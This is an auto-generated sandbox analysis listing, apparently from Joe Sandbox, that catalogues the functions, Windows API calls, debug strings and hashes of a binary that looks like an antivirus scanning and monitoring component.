Instruction ID: 5756194132ff8dd7ec1522ad033bffa79c37130547d86cec9d6c1639cfe77c95
Opcode Fuzzy Hash: a0032026953fb9b355f8eab640deda5175e427bf7f4d2824b31ceb49df98d19c
Instruction Fuzzy Hash: 8C710175220B4186EB52DF26F894BC533A4F78CBE4F441226EA598B3B4DF3AC945C740

Function 00000001400033E0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 126memorytimeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140003406
SetWaitableTimer.KERNEL32 ref: 0000000140003432
#4.VSELOG ref: 000000014000346A
GetProcessHeap.KERNEL32 ref: 000000014000351C
HeapReAlloc.KERNEL32 ref: 0000000140003531
GetProcessHeap.KERNEL32 ref: 0000000140003539
HeapAlloc.KERNEL32 ref: 0000000140003547
#4.VSELOG ref: 00000001400035DD
LeaveCriticalSection.KERNEL32 ref: 00000001400035E9
LeaveCriticalSection.KERNEL32 ref: 00000001400035FA

Strings

amps_Init: iFlags=%d, pid=%d, sid=%d, xrefs: 0000000140003452
amps_Init: done, pHandle=%p, xrefs: 00000001400035CC

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$CriticalSection$AllocLeaveProcess$EnterTimerWaitable
String ID: amps_Init: done, pHandle=%p$amps_Init: iFlags=%d, pid=%d, sid=%d
API String ID: 2587151837-1427723692
Opcode ID: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction ID: a7c4065e0455d4df5ce4727384a6dec66c16779501c9bb3b2af2b379a082be6c
Opcode Fuzzy Hash: 056e3220293f8a27eada56f59a4c806f255f255991a422811975143a91f7a127
Instruction Fuzzy Hash: 9F5114B5225B4082FB13CB27F8847D963A5F78CBD0F445525BB4A4B7B8DB7AC4448700

Function 0000000140004D10 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000140004D43
GetProcAddress.KERNEL32 ref: 0000000140004D62
GetFileAttributesW.KERNEL32 ref: 0000000140004DE9
LoadLibraryW.KERNEL32 ref: 0000000140004DF7
GetCurrentDirectoryW.KERNEL32 ref: 0000000140004E1C
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E27
LoadLibraryW.KERNEL32 ref: 0000000140004E30
SetCurrentDirectoryW.KERNEL32 ref: 0000000140004E41

Strings

SetDllDirectoryW, xrefs: 0000000140004D58
kernel32.dll, xrefs: 0000000140004D3C

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CurrentDirectory$LibraryLoad$AddressAttributesFileHandleModuleProc
String ID: SetDllDirectoryW$kernel32.dll
API String ID: 3184163350-3826188083
Opcode ID: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction ID: 3ea874f08b0d6ae9fbaedd0e680489d05007b391355801732f4c7fbd06edc96d
Opcode Fuzzy Hash: 09225629eee72228c5d7f95fa2eee3f64651a4a6406a600936b89273ecb07b9f
Instruction Fuzzy Hash: FD41F6B1218A8582EB22DF12F8547DA73A5F79D7D4F400125EB8A0BAB5DF7EC548CB40

Function 0000000140004BA0 Relevance: 18.1, APIs: 9, Strings: 3, Instructions: 80memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140004BE7
GetProcessHeap.KERNEL32 ref: 0000000140004BF6
HeapAlloc.KERNEL32 ref: 0000000140004C04
lstrlenW.KERNEL32 ref: 0000000140004C3E
GetProcessHeap.KERNEL32 ref: 0000000140004C4D
HeapAlloc.KERNEL32 ref: 0000000140004C5B
lstrlenW.KERNEL32 ref: 0000000140004C8E
GetProcessHeap.KERNEL32 ref: 0000000140004C9D
HeapAlloc.KERNEL32 ref: 0000000140004CAB

Strings

ncalrpc, xrefs: 0000000140004BAF, 0000000140004C17
ampIfEp, xrefs: 0000000140004C29, 0000000140004C6E
Security=impersonation static true, xrefs: 0000000140004C80, 0000000140004CBE

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID: Security=impersonation static true$ampIfEp$ncalrpc
API String ID: 3424473247-996641649
Opcode ID: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction ID: 5475aedf582102907cd33adbfaf34f9b11ebc9e91273ce6565e0ea0cfbbdf015
Opcode Fuzzy Hash: 1d37d06b5998b82bc2dc7011aec07efaf1f4b1bb41d2d67d0687b588f1a55b3d
Instruction Fuzzy Hash: FE3137B062A74082FB03CB53BD447E962A5E75DBD8F554019EB0E0BBB6DBBEC1558700

Function 000000014000A740 Relevance: 16.9, APIs: 11, Instructions: 354COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32 ref: 000000014000A7AA
GetLastError.KERNEL32 ref: 000000014000A7BA
MultiByteToWideChar.KERNEL32 ref: 000000014000A874
MultiByteToWideChar.KERNEL32 ref: 000000014000A921
LCMapStringW.KERNEL32 ref: 000000014000A944
LCMapStringW.KERNEL32 ref: 000000014000A98D
LCMapStringW.KERNEL32 ref: 000000014000AA24
WideCharToMultiByte.KERNEL32 ref: 000000014000AA65
LCMapStringA.KERNEL32 ref: 000000014000AB13
LCMapStringA.KERNEL32 ref: 000000014000ABC6
LCMapStringA.KERNEL32 ref: 000000014000AC4C

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction ID: 7820e0e177e3580e7fbac086e7e180635334a87404cd07a7d6eea56579f34d7e
Opcode Fuzzy Hash: 802883c3254266504f9bffab4fe863b98e9923c524f0017741f2ad98f2b9a469
Instruction Fuzzy Hash: 7CE18BB27007808AEB66DF26A54079977E1F74EBE8F144225FB6957BE8DB38C941C700

Function 0000000140009C30 Relevance: 16.6, APIs: 11, Instructions: 150COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C52
GetLastError.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C6C
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009C91
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CD4
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009CF2
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D09
MultiByteToWideChar.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D37
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009D73
FreeEnvironmentStringsA.KERNEL32(?,?,?,?,?,0000000140005C67), ref: 0000000140009E19

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharErrorLastMultiWide
String ID:
API String ID: 1232609184-0
Opcode ID: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction ID: a97fb2b29f1dbdd40f84dfefdd532c69b8fe37edd6617e3b903b273dff31e607
Opcode Fuzzy Hash: 0fe341c893830b3e5934a62294215ba1eeb7ab0cb4f80f00c247d68fe650ca03
Instruction Fuzzy Hash: 9851AEB164564046FB66DF23B8147AA66D0BB4DFE0F484625FF6A87BF1EB78C4448300

Function 0000000140002740 Relevance: 16.6, APIs: 10, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001B48
Part of subcall function 0000000140001A30: LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
Part of subcall function 0000000140001A30: EnterCriticalSection.KERNEL32 ref: 0000000140001BE6

EnterCriticalSection.KERNEL32 ref: 00000001400027B2
LeaveCriticalSection.KERNEL32 ref: 000000014000286E
GetProcessHeap.KERNEL32 ref: 000000014000287F
HeapFree.KERNEL32 ref: 000000014000288D
GetProcessHeap.KERNEL32 ref: 000000014000289D
HeapFree.KERNEL32 ref: 00000001400028AB
GetProcessHeap.KERNEL32 ref: 00000001400028BB
HeapFree.KERNEL32 ref: 00000001400028C9
GetProcessHeap.KERNEL32 ref: 00000001400028D9
HeapFree.KERNEL32 ref: 00000001400028E7

Strings

H, xrefs: 000000014000278C

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$CriticalSection$EnterFreeProcess$Leave
String ID: H
API String ID: 2107338056-2852464175
Opcode ID: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction ID: c1f1c0cc251b461ea163c40135a27997c94af954a8846501eddf5ed74a01cb36
Opcode Fuzzy Hash: 5b70108e8ada33305ec7243e3672b6dc87a1b4650feeecbcfbcd773178ed88ea
Instruction Fuzzy Hash: D5513B76216B4086EBA2DF63B84439A73E5F74DBD0F098128EB9D87765EF39C4558300

Function 0000000140003200 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 100timeCOMMON

Download Yara Rule

APIs

#4.VSELOG ref: 0000000140003242
EnterCriticalSection.KERNEL32 ref: 0000000140003257
LeaveCriticalSection.KERNEL32 ref: 00000001400032D9
#4.VSELOG ref: 0000000140003353

Part of subcall function 0000000140002B40: LoadLibraryW.KERNEL32 ref: 0000000140002B91
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BAD
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BC8
Part of subcall function 0000000140002B40: GetProcAddress.KERNEL32 ref: 0000000140002BE3
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002C0D
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002C9A
Part of subcall function 0000000140002B40: EnterCriticalSection.KERNEL32 ref: 0000000140002CAF
Part of subcall function 0000000140002B40: LeaveCriticalSection.KERNEL32 ref: 0000000140002D2D

#4.VSELOG ref: 0000000140003389
SetWaitableTimer.KERNEL32 ref: 00000001400033BE

Strings

fnCallback: hScan=%d, evId=%d, context=%p, xrefs: 000000014000323B
fnCallback: hScan=%d, putting event %d into listening threads queues, xrefs: 0000000140003372
fnCallback: hScan=%d, quarantine, result %d, xrefs: 000000014000333F

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$AddressEnterLeaveProc$LibraryLoadTimerWaitable
String ID: fnCallback: hScan=%d, evId=%d, context=%p$fnCallback: hScan=%d, putting event %d into listening threads queues$fnCallback: hScan=%d, quarantine, result %d
API String ID: 1322048431-2685357988
Opcode ID: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction ID: ba1df9fb3c509f4e652456910b8147ac8aac6905a945631cefe2604201aedb7e
Opcode Fuzzy Hash: 8f454d8f96427bc7f4d6fc52e9fe6703152659d2229fc404623004bd99a71f34
Instruction Fuzzy Hash: 645106B5214B4181EB13CF16F880BD923A4E79DBE4F445622BB594B6B4DF3AC584C740

Function 0000000140003D50 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003D84
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003DA3
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E19
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E25
#4.VSELOG(?,?,?,?,00000000,00000001400022A6), ref: 0000000140003E66
SetWaitableTimer.KERNEL32 ref: 0000000140003EA6

Strings

doCleanup: pid %d, marking the cAmpEntry pointer for deletion, xrefs: 0000000140003E58
doCleanup: enter, cAmpEntry %p, xrefs: 0000000140003D76
doCleanup: pid %d, removing cAmpEntry, index is %d, xrefs: 0000000140003E08

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$EnterLeaveTimerWaitable
String ID: doCleanup: enter, cAmpEntry %p$doCleanup: pid %d, marking the cAmpEntry pointer for deletion$doCleanup: pid %d, removing cAmpEntry, index is %d
API String ID: 2984211723-3002863673
Opcode ID: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction ID: 6ce834a9fa2c46ab9e722fc1bcf1c858386cde021ca473021475461b430fce50
Opcode Fuzzy Hash: a738ef0df41c9c2085df25b69143ddd466836247f0acf0cab1fab4ffcf6577b7
Instruction Fuzzy Hash: 9B4101B5214A8591EB128F07F880B9863A4F78CBE4F495226FB1D0BBB4DB7AC591C710

Function 00000001400021A0 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

#4.VSELOG ref: 00000001400021D4
OpenProcess.KERNEL32 ref: 00000001400021F7
#4.VSELOG ref: 000000014000223A
WaitForMultipleObjects.KERNEL32 ref: 000000014000224F
CloseHandle.KERNEL32 ref: 000000014000225A
#4.VSELOG ref: 0000000140002294

Strings

doMonitor: monitoring process id=%d, xrefs: 000000014000222C
doMonitor: end process id=%d, result from WaitForMultipleObjects=%d, xrefs: 0000000140002283
fnMonitor: monitor thread for ctx %p, xrefs: 00000001400021C6

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CloseHandleMultipleObjectsOpenProcessWait
String ID: doMonitor: end process id=%d, result from WaitForMultipleObjects=%d$doMonitor: monitoring process id=%d$fnMonitor: monitor thread for ctx %p
API String ID: 678758403-4129911376
Opcode ID: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction ID: f397f01a700ed75a1720fb106c04e764a2ecaef09c032a262f7e58a7780e1373
Opcode Fuzzy Hash: 622955a85f652782e43c0e0864684ab55b88adcc3dc18936af4ab90c870e9f37
Instruction Fuzzy Hash: B63107B6610A4582EB12DF57F84079963A4E78CBE4F498122FB1C0B7B4DF3AC585C710

Function 0000000140001750 Relevance: 15.1, APIs: 12, Instructions: 133memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 0000000140001797
GetProcessHeap.KERNEL32 ref: 00000001400017A6
HeapAlloc.KERNEL32 ref: 00000001400017B4
lstrlenW.KERNEL32 ref: 00000001400017EC
GetProcessHeap.KERNEL32 ref: 00000001400017FB
HeapAlloc.KERNEL32 ref: 0000000140001809
lstrlenW.KERNEL32 ref: 000000014000183F
GetProcessHeap.KERNEL32 ref: 000000014000184E
HeapAlloc.KERNEL32 ref: 000000014000185C
lstrlenW.KERNEL32 ref: 000000014000188D
GetProcessHeap.KERNEL32 ref: 000000014000189C
HeapAlloc.KERNEL32 ref: 00000001400018AA

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$AllocProcesslstrlen
String ID:
API String ID: 3424473247-0
Opcode ID: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction ID: a11592c0991bfac199573d0d609f53e0c1426f0a5ad78f28403dae96cf8670eb
Opcode Fuzzy Hash: c17ffa923c8182584db73c91a06df651023cf72d925272b18aed562ea20615b1
Instruction Fuzzy Hash: C8513AB6701640CAE666DFA3B84479A67E0F74DFC8F588428AF4E4B721DA38D155A700

Function 0000000140012C70 Relevance: 14.4, APIs: 4, Strings: 4, Instructions: 415COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000000140011270: RtlLookupFunctionEntry.KERNEL32 ref: 00000001400112F1

__GetUnwindTryBlock.LIBCMT ref: 0000000140012CDD
__SetUnwindTryBlock.LIBCMT ref: 0000000140012D05
__GetUnwindTryBlock.LIBCMT ref: 0000000140012D15
_SetThrowImageBase.LIBCMT ref: 0000000140012DA6

Strings

csm, xrefs: 0000000140012D2F
bad exception, xrefs: 0000000140012E4A
csm, xrefs: 0000000140012DC1
csm, xrefs: 0000000140012E97

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: BlockUnwind$BaseEntryFunctionImageLookupThrow
String ID: bad exception$csm$csm$csm
API String ID: 3766904988-820278400
Opcode ID: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction ID: ec44bdd804db6766ea80e989845e9f4c5c79a3e5de674617e5e8a62493c248da
Opcode Fuzzy Hash: 211ea14586251fca33d837236c8444fcda6bc332046b6eb3b50ec8ef4bad2153
Instruction Fuzzy Hash: 2202C17220478086EB66DB27A4447EEB7A5F78DBC4F484425FF894BBAADB39C550C700

Function 0000000140004750 Relevance: 13.6, APIs: 9, Instructions: 80sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140004A0F
LeaveCriticalSection.KERNEL32 ref: 0000000140004A1D
WaitForMultipleObjects.KERNEL32 ref: 0000000140004A44
Sleep.KERNEL32 ref: 0000000140004A75
EnterCriticalSection.KERNEL32 ref: 0000000140004A7F
SetEvent.KERNEL32 ref: 0000000140004AC5
ResetEvent.KERNEL32 ref: 0000000140004ACF
LeaveCriticalSection.KERNEL32 ref: 0000000140004AD9
WaitForMultipleObjects.KERNEL32 ref: 0000000140004B0D

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$EnterEventLeaveMultipleObjectsWait$ResetSleep
String ID:
API String ID: 2707001247-0
Opcode ID: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction ID: f9d573460b216e7eeefce72b36cf093424a31f8579033a03516ac6dab9ef0102
Opcode Fuzzy Hash: 81fbcb92f811cf70c85be9260a27baa2b932eaa25df2b6e09ac4b98cba08ed51
Instruction Fuzzy Hash: BC3159B6304A4492EB22DF22F44479AB360F749BE4F444121EB9E07AB4DF39D489C708

Function 00007FFE13204804 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FFE13204861

Part of subcall function 00007FFE13206BC4: __GetUnwindTryBlock.LIBCMT ref: 00007FFE13206C07
Part of subcall function 00007FFE13206BC4: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FFE13206C2C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FFE13204939
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FFE13204B87
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FFE13204C94

Strings

csm, xrefs: 00007FFE1320495C
csm, xrefs: 00007FFE1320487B
csm, xrefs: 00007FFE132048E2

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction ID: 5b7ad0c49c38066b794ca11de7a16eb3eba56c9870332f09a70d27c989218f90
Opcode Fuzzy Hash: f1adb4ecd083bc80385bf1a1a2c543f93b0b2fb07cc426c5636c8daff4c8f18a
Instruction Fuzzy Hash: 6CD17232908B458EEB20EF6694403AD77A0FBA57A8F104175DE8D77B65CF38E499CB00

Function 0000000140001690 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014000169E
HeapFree.KERNEL32 ref: 00000001400016B0
GetProcessHeap.KERNEL32 ref: 00000001400016C0
HeapFree.KERNEL32 ref: 00000001400016D2
GetProcessHeap.KERNEL32 ref: 00000001400016E2
HeapFree.KERNEL32 ref: 00000001400016F4
GetProcessHeap.KERNEL32 ref: 0000000140001704
HeapFree.KERNEL32 ref: 0000000140001716
GetProcessHeap.KERNEL32 ref: 0000000140001726
HeapFree.KERNEL32 ref: 0000000140001738

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction ID: 4159c8d252e8bf7a629169213e0784b10943506046d671ff930a732f0a48acbb
Opcode Fuzzy Hash: d3d786e63681585cbf03c2d219a109844956a30e82e5544b8f66a627abd00fb2
Instruction Fuzzy Hash: EC1145B4915A4081F70BDF97B8187D522E2FB8DBD9F484025E70A4B2B0DF7E8499C601

Function 0000000140013710 Relevance: 12.5, APIs: 10, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000000014001371E
HeapFree.KERNEL32 ref: 0000000140013730
GetProcessHeap.KERNEL32 ref: 0000000140013740
HeapFree.KERNEL32 ref: 0000000140013752
GetProcessHeap.KERNEL32 ref: 0000000140013762
HeapFree.KERNEL32 ref: 0000000140013774
GetProcessHeap.KERNEL32 ref: 0000000140013784
HeapFree.KERNEL32 ref: 0000000140013796
GetProcessHeap.KERNEL32 ref: 00000001400137A6
HeapFree.KERNEL32 ref: 00000001400137B8

Memory Dump Source

